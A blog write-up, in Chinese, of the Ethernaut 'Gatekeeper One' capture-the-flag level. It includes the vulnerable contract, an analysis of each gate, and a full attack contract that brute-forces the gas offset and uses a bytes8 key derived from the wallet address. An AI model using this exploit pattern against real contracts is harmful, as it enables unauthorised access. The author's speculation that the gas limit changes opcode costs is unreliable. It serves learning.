13.Gatekeeper One
2023-06-23 20:21:59 # 04.Ethernaut CTF

Gatekeeper One

题目

目标:修改entrant,即:成功调用enter(bytes8 _gateKey)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperOne {

address public entrant;

modifier gateOne() {
require(msg.sender != tx.origin);
_;
}

modifier gateTwo() {
require(gasleft() % 8191 == 0);
_;
}

modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
_;
}

function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}

分析

本道题要我们成功调用enter(bytes8 _gateKey),那么就需要通过三个修饰器gateOnegateTwogateThree(_gateKey)的检验。

gateOne

1
2
3
4
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}

这里需要我们理解msg.sender和tx.origin的区别。意思是要求:我们不可以直接调用,需要写一个合约进行调用

gateTwo

1
2
3
4
modifier gateTwo() {
require(gasleft() % 8191 == 0);
_;
}

gasleft():是solidity的内置方法,方法返回此次交易我们还剩余多少gas。returns (uint256)

意思是,当程序执行到require(gasleft() % 8191 == 0)这一步时,交易所剩的gas取模8191的值为0,那么我们有两个思路来通过这个修饰器:暴力尝试和通过debug来查看gas消耗情况

暴力尝试

gas的剩余量取模8191的结果为0,那么暴力尝试的可能性就只有8191种,那么我们可以做一个循环,从0gas开始到8191gas进行调用方法,总有一次可以通过此修饰器,很有意思的是,网络上有大佬优化了这个暴力尝试的过程(attack方法是网上大佬的思路,attack_是真正的暴力破解)

【网络版本】

1
2
3
4
5
6
7
8
9
10
// 为什么这么写呢?因为有玩家通过测试,本关这里的gas大概在210次
// 然后他取了一个缓冲值60上下浮动,即:210加减60=>150~270
// 那么,他就打算从gas=150开始循环
// 最多到270次就收手,这就是120的由来:270-150=120
for (uint256 i = 0; i < 120; i++) {
(bool result,) = address(gatekeeperOne).call{gas:i + 150 + 8191 * 3}(abi.encodeWithSignature("enter(bytes8)",key));
if (result) {
break;
}
}

【未知情况,真正暴力破解版本】

1
2
3
4
5
6
7
8
9
for (uint256 i = 0; i < 8191; i++) {
// 乘3原因:气体最低限制21000,低于这个值就很可能call调用失败。因此*3就大于21000,你可以乘任何>=3的值
// i从0开始,不断尝试,理论上最多有8191种可能,肯定能试出来。
// 一旦试出来,result返回true,就可以退出循环了
(bool result,) = address(gatekeeperOne).call{gas:i + 8191 * 3}(abi.encodeWithSignature("enter(bytes8)",key));
if (result) {
break;
}
}

debug查看

目的是通过require(gasleft() % 8191 == 0);的检验,那么我们可以debug到gasleft()操作码,它的操作码是GAS,GAS执行完之后剩余的gas就是 X % 8191 的值X。我们的需求就是X是8191的倍数。

solidity代码和交易中,执行同一个方法,操作码是不变的,那么我们代码执行到GAS操作码所消耗的gas就是定值。我们可以把这个定值找出来,然后加上8191的倍数,就可以通过此处的检验。

所以我们先设置一个较大的gas执行,看看执行到GAS操作码之后,消耗了多少gas

但是遇到了问题,我的remix页面debug不到GAS操作码。原因:remix需要Ethersccan测试网的API,且追踪一个已经验证的合约,才可以进入debug。如下图设置一下:

【1】gas设置为100000

71874=8191*8+6346
100000-6346=93654

65627=8191*8+99
93654-99=93555

65529=8191*8+1
93555-1=93554

通过

奇怪的是:我的代码从始至终都没有变,gas设置为100000。然后交易的时候gas设置为100000=>93654=>93555=>93544。最终在93544成功。我保证我每一次计算都是正确的,然而每次发送交易的时候,执行到GAS操作码的时候remain gas的值都会变化。只有93555=>93544的时候固定消耗gas才保持不变。
因此,我认为,就算同一个代码,发送交易的时候设置的gas不一致,那么程序执行的时候操作码消耗的gas也会产生变化?只有一些特定的不同gas值才会消耗相同的gas。即:gas上限的设置也会影响操作码的gas消耗,只是有些时候比较幸运不会产生变化【就比如本题的93555和93554固定消耗gas相同,而100000、93654、93555他们三者不同的gas上限设置也会导致固定消耗不同】
因此,我推断:交易的时候gas上限的设置也会影响实际gas的消耗情况,只是这个情况比较特殊,而有些gas就不会影响gas消耗。而这个特殊的情况就是我们本题需要找的值

而且,在call语句设置的gas似乎是没用的,程序只看交易的时候设置的gas上限。本题我的代码的call的gas一直是100000,然后交易的时候,gas交易上限不断改变,到了GAS操作码的时候remain gas也会产生变化

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

录制了一个debug解题的视频,里面阐述了做题过程和疑问

gateThree(_gateKey)

想要通过这个修饰器检验,我们得先了解一下solidity中类型截断、保留、补位的规则

1
2
3
4
5
6
modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
_;
}

空讲很难理解,用一个例子来解释吧。传入的是bytes8,那么就假如传入的是:0x11112222aaaabbbb

  1. 第一个require:uint32(uint64(_gateKey))从低位截取,变成0xaaaabbbb。uint16(uint64(_gateKey))从低位截取,变成0xbbbb。根据solidity的规则,uint32和uint16在比较的时候,较小的类型uint16会在高位补0至位数和较大类型uint32一致,即:0x0000bbbb和0xaaaabbbb比较。因此,我们的参数_gateKey得是一个xxxxxxxx0000xxxx类型的数值。
  2. 第二个require:uint64(_gateKey)是保留所有位,而uint32(uint64(_gateKey))保留低32位。两者低32位是一模一样的,要通过require,则需要高32位任意一位不一致即可,因为uint32(uint64(_gateKey))高32位全部为0,那么我们传入的参数高32位至少需要一位数不为0。因此,我们的参数_gateKey可以是一个FFFFFFFF0000xxxx类型的数值。
  3. 第三个require:目前我们确定参数_gateKey可以是一个FFFFFFFF0000xxxx类型的数值。那么uint32(uint64(_gateKey))之后的结果就是0000xxxx。uint16(uint160(tx.origin))是对钱包地址进行操作,数值类型从低位开始截取,即uint16(uint160(tx.origin))的结果是我们钱包地址的后16位,就是后面4个数,对于我来说为97c6。那么这个_gateKey就确定下来了,可以为:FFFFFFFF000097c6。(前8个F是可变的,0000是雷打不动的,97c6根据自己的钱包而定)

攻击合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
contract Hack{
GatekeeperOne gatekeeperOne = GatekeeperOne(0x133636510C89C2075813d4Aba991A44B5A85aA97);

function attack() public {
bytes8 key = 0xFFFFFFFF000097c6;
// 网络版本
// 为什么这么写呢?因为有玩家通过测试,本关这里的gas的i大概在210次
// 然后他取了一个缓冲值60上下浮动,即:210加减60=>150~270
// 那么,他就打算从gas=150开始循环
// 最多到270次就收手,这就是120的由来:270-150=120
for (uint256 i = 0; i < 120; i++) {
(bool result,) = address(gatekeeperOne).call{gas:i + 150 + 8191 * 3}(abi.encodeWithSignature("enter(bytes8)",key));
if (result) {
break;
}
}
}

function attack_() public {
bytes8 key = 0xFFFFFFFF000097c6;
//未知版本
for (uint256 i = 0; i < 8191; i++) {
// 乘3原因:气体最低21000,低于这个值就很可能call调用失败。因此*3就大于21000,你可以乘任何>=3的值
// i从0开始,不断尝试,理论上最多有8191种可能,肯定能试出来。
// 一旦试出来,result返回true,就可以退出循环了
(bool result,) = address(gatekeeperOne).call{gas:i + 8191 * 3}(abi.encodeWithSignature("enter(bytes8)",key));
if (result) {
break;
}
}
}
}

做题

两次获取题目,attack和attack_都试一次,看看是不是都可以暴力破解。答案:都成功

通过